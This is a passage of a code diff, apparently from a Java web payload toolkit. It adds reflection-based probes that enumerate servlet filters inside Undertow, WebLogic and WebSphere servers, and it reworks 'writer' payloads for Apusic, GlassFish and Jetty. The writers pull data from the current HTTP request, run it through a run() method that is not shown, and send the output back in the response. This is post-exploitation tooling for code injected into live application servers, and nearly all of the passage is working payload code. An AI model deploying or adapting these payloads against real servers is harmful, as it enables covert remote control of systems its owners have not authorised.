contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> io.undertow.servlet.spec.ServletContextImpl
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// deploymentInfo -> io.undertow.servlet.api.DeploymentInfo
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
Map<String, Object> filters = (Map<String, Object>) getFieldValue(deploymentInfo, "filters");
List<Object> filterUrlMappings = (List<Object>) getFieldValue(deploymentInfo, "filterUrlMappings");
List<Object> filterServletNameMappings = (List<Object>) getFieldValue(deploymentInfo, "filterServletNameMappings");
for (Object filterUrlMapping : filterUrlMappings) {
// filterUrlMapping -> io.undertow.servlet.api.FilterMappingInfo
Map<String, Object> info = fillFilterInfo(filterUrlMapping, filters, aggregatedData);
String urlPattern = (String) getFieldValue(filterUrlMapping, "mapping");
if (urlPattern != null) {
((Set<String>) info.get("urlPatterns")).add(urlPattern);
}
}
for (Object filterServletNameMapping : filterServletNameMappings) {
// filterServletNameMapping -> io.undertow.servlet.api.FilterMappingInfo
Map<String, Object> info = fillFilterInfo(filterServletNameMapping, filters, aggregatedData);
String servletNames = (String) getFieldValue(filterServletNameMapping, "mapping");
if (servletNames != null) {
((Set<String>) info.get("servletNames")).add(servletNames);
}
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
private static Map<String, Object> fillFilterInfo(Object filterServletNameMapping, Map<String, Object> filters, Map<String, Map<String, Object>> aggregatedData) throws NoSuchFieldException, IllegalAccessException {
String filterName = (String) getFieldValue(filterServletNameMapping, "filterName");
if (!aggregatedData.containsKey(filterName)) {
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
Class<?> filterClass = (Class<?>) getFieldValue(filters.get(filterName), "filterClass");
info.put("filterClass", filterClass.getName());
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(filterName, info);
}
return aggregatedData.get(filterName);
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Class<?> clazz = thread.getContextClassLoader()
.loadClass("io.undertow.servlet.handlers.ServletRequestContext");
Object requestContext = invokeMethod(clazz, "current", null, null);
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
if (servletContext != null) {
contexts.add(servletContext);
}
} catch (Exception ignored) {
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,254 @@
package com.reajason.javaweb.probe.payload.filter;
import javax.management.MBeanServer;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class WebLogicFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> weblogic.servlet.internal.WebAppServletContext
// filterManager -> weblogic.servlet.internal.FilterManager
Object filterManager = getFieldValue(context, "filterManager");
Map<String, Object> filters = (Map<String, Object>) getFieldValue(filterManager, "filters");
List<Object> filterPatternList = (ArrayList<Object>) getFieldValue(filterManager, "filterPatternList");
List<Object> filterServletList = (ArrayList<Object>) getFieldValue(filterManager, "filterServletList");
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
for (Object filterInfo : filterPatternList) {
// filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
Object urlMap = getFieldValue(filterInfo, "map");
String filterName = (String) getFieldValue(filterInfo, "filterName");
if (filterName == null) {
// WebLogic 10.3.6
Object[] mapValues = (Object[]) invokeMethod(urlMap, "values", null, null);
filterName = ((String) mapValues[0]);
}
Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
String[] urlPatterns = (String[]) invokeMethod(urlMap, "keys", null, null);
if (urlPatterns != null) {
((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urlPatterns));
}
}
for (Object filterInfo : filterServletList) {
// filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
String filterName = (String) getFieldValue(filterInfo, "filterName");
Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
String servletName = (String) getFieldValue(filterInfo, "servletName");
if (servletName != null) {
((Set<String>) info.get("servletNames")).add(servletName);
}
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
private static Map<String, Object> fillFilterInfo(Map<String, Map<String, Object>> aggregatedData, String filterName, Map<String, Object> filters) throws Exception {
if (!aggregatedData.containsKey(filterName)) {
// filterWrapper -> weblogic.servlet.internal.FilterWrapper
Object filterWrapper = filters.get(filterName);
String filterClassName = null;
try {
filterClassName = (String) getFieldValue(filterWrapper, "filterClassName");
} catch (NoSuchFieldException e) {
// WebLogic 10.3.6
filterClassName = (String) getFieldValue(filterWrapper, "filterclass");
}
if (filterClassName == null) {
Object filter = getFieldValue(filterWrapper, "filter");
if (filter != null) {
filterClassName = filter.getClass().getName();
}
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
info.put("filterClass", filterClassName);
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(filterName, info);
}
return aggregatedData.get(filterName);
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>();
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
}
try {
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) {
}
return webappContexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,285 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class WebSphereFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> com.ibm.ws.webcontainer.webapp.WebAppImpl
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// filterManager -> com.ibm.ws.webcontainer.filter.WebAppFilterManager
Object filterManager = getFieldValue(context, "filterManager");
// webAppConfig -> com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl
Object webAppConfig = getFieldValue(context, "config");
try {
// WebLogic 12+
List<Object> uriFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "uriFilterMappingInfos");
for (Object uriFilterMappingInfo : uriFilterMappingInfos) {
// uriFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
Map<String, Object> info = filterFilterInfo1(uriFilterMappingInfo, aggregatedData);
String urlPattern = (String) invokeMethod(uriFilterMappingInfo, "getUrlPattern", null, null);
if (urlPattern != null && !urlPattern.isEmpty()) {
((Set<String>) info.get("urlPatterns")).add(urlPattern);
}
}
List<Object> servletFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "servletFilterMappingInfos");
for (Object servletFilterMappingInfo : servletFilterMappingInfos) {
// servletFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
Map<String, Object> info = filterFilterInfo1(servletFilterMappingInfo, aggregatedData);
String servletName = (String) invokeMethod(invokeMethod(servletFilterMappingInfo, "getServletConfig"), "getServletName");
if (servletName != null && !servletName.isEmpty()) {
((Set<String>) info.get("servletNames")).add(servletName);
}
}
} catch (Throwable throwable) {
// WebLogic 10.3.6
List<Object> uriFilterMappings = (List<Object>) getFieldValue(filterManager, "_uriFilterMappings");
for (Object uriFilterMapping : uriFilterMappings) {
// uriFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
Map<String, Object> info = fillFilterInfo2(uriFilterMapping, aggregatedData, webAppConfig);
String urlPattern = (String) getFieldValue(uriFilterMapping, "_filterURI");
if (urlPattern != null && !urlPattern.isEmpty()) {
((Set<String>) info.get("urlPatterns")).add(urlPattern);
}
}
List<Object> servletFilterMappings = (List<Object>) getFieldValue(filterManager, "_servletFilterMappings");
for (Object servletFilterMapping : servletFilterMappings) {
// servletFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
Map<String, Object> info = fillFilterInfo2(servletFilterMapping, aggregatedData, webAppConfig);
String servletName = (String) getFieldValue(servletFilterMapping, "_filterServlet");
if (servletName != null && !servletName.isEmpty()) {
((Set<String>) info.get("servletNames")).add(servletName);
}
}
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
private static Map<String, Object> filterFilterInfo1(Object uriFilterMappingInfo, Map<String, Map<String, Object>> aggregatedData) throws Exception {
Object filterConfig = getFieldValue(uriFilterMappingInfo, "filterConfig");
String filterName = (String) invokeMethod(filterConfig, "getFilterName", null, null);
if (!aggregatedData.containsKey(filterName)) {
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
info.put("filterClass", filterClassName);
info.put("urlPatterns", new LinkedHashSet<>());
info.put("servletNames", new LinkedHashSet<>());
aggregatedData.put(filterName, info);
}
return aggregatedData.get(filterName);
}
private static Map<String, Object> fillFilterInfo2(Object servletFilterMapping, Map<String, Map<String, Object>> aggregatedData, Object webAppConfig) throws Exception {
String filterName = (String) getFieldValue(servletFilterMapping, "_filterName");
if (!aggregatedData.containsKey(filterName)) {
Object filterConfig = invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{filterName});
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
info.put("filterClass", filterClassName);
info.put("urlPatterns", new LinkedHashSet<>());
info.put("servletNames", new LinkedHashSet<>());
aggregatedData.put(filterName, info);
}
return aggregatedData.get(filterName);
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* com.ibm.ws.webcontainer.webapp.WebAppImpl
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x
if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
} catch (Exception ignored) {
}
}
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
}
}
return contexts;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response; package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
@@ -32,15 +35,25 @@ public class ApusicWriter {
Object response = getFieldValue(servletInvocation, "response"); Object response = getFieldValue(servletInvocation, "response");
String data = getDataFromReq(request); String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) { if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); String result = "";
try { try {
writer.write(run(data)); result = run(data);
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); result = getErrorMessage(e);
e.printStackTrace(writer); }
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
} }
writer.flush();
writer.close();
return; return;
} }
} }
@@ -96,4 +109,19 @@ public class ApusicWriter {
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response; package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -22,10 +25,8 @@ public class GlassFishWriter {
// GlassFish3 // GlassFish3
Thread thread = Thread.currentThread(); Thread thread = Thread.currentThread();
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1}); Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
Object response = invokeMethod(request, "getResponse", null, null); if (tryWriteRes(request)) {
String data = getDataFromReq(request); return;
if (data != null && !data.isEmpty()) {
execute(response, data);
} }
} catch (Exception x) { } catch (Exception x) {
// GlassFish4+ // GlassFish4+
@@ -48,10 +49,7 @@ public class GlassFishWriter {
} }
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder"); Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"}); Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
Object response = invokeMethod(request, "getResponse", null, null); if (tryWriteRes(request)) {
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
return; return;
} }
} }
@@ -64,15 +62,32 @@ public class GlassFishWriter {
} }
} }
private void execute(Object response, String data) throws Exception { private boolean tryWriteRes(Object request) throws Exception {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); Object response = invokeMethod(request, "getResponse", null, null);
try { String data = getDataFromReq(request);
writer.write(run(data)); if (data != null && !data.isEmpty()) {
} catch (Throwable e) { String result = "";
e.printStackTrace(writer); try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
return true;
} }
writer.flush(); return false;
writer.close();
} }
private String getDataFromReq(Object request) throws Exception { private String getDataFromReq(Object request) throws Exception {
@@ -119,4 +134,19 @@ public class GlassFishWriter {
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -1,9 +1,9 @@
package com.reajason.javaweb.probe.payload.response; package com.reajason.javaweb.probe.payload.response;
import org.eclipse.jetty.util.Callback; import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -49,23 +49,31 @@ public class JettyWriter {
} }
String data = getDataFromReq(request); String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) { if (data != null && !data.isEmpty()) {
StringWriter sw = new StringWriter(); String result = "";
PrintWriter writer = new PrintWriter(sw);
try { try {
writer.write(run(data)); result = run(data);
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); result = getErrorMessage(e);
e.printStackTrace(writer);
} }
String result = sw.toString(); if (result != null) {
System.out.println("result: " + result); try {
try { OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null); outputStream.write(result.getBytes());
resWriter.write(result); outputStream.flush();
} catch (Exception e) { outputStream.close();
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200}); } catch (Throwable e) {
ByteBuffer content = UTF_8.encode(result); try {
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null}); PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
resWriter.write(result);
resWriter.flush();
resWriter.close();
} catch (Exception x) {
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(result);
Class<?> callBackClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.util.Callback");
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, callBackClass}, new Object[]{true, content, null});
}
}
} }
return; return;
} }
@@ -122,4 +130,19 @@ public class JettyWriter {
} }
